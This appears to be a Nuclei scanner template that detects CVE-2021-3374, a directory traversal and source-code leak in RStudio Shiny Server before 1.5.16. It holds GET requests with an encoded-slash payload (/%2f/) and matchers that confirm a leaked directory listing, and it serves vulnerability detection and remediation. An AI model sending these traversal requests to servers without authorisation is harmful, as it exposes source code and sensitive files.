id: CVE-2021-3374 info: name: Rstudio Shiny Server <1.5.16 - Local File Inclusion author: geeknik severity: medium description: Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL. impact: | Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially exposing sensitive information. remediation: | Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability. reference: - https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak - https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/ - https://nvd.nist.gov/vuln/detail/CVE-2021-3374 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2021-3374 cwe-id: CWE-22 epss-score: 0.00235 epss-percentile: 0.61534 cpe: cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:* metadata: max-request: 2 vendor: rstudio product: shiny_server tags: cve2021,cve,rstudio,traversal http: - method: GET path: - "{{BaseURL}}/%2f/" - "{{BaseURL}}/sample-apps/hello/%2f/" matchers-condition: and matchers: - type: word words: - "Index of /" - type: regex part: body regex: - "[A-Za-z].*\\.R" - type: status status: - 200 # digest: 4b0a00483046022100b1c465a83bf095eaab8ef309c15df15310aa6724bc213fa50af8c7323174d4da022100efa38cb1a731ed0c095c6017209cd82a727de7f44d25f48b8efaefbbab8721a3:922c64590222798bb761d5b6d8e72950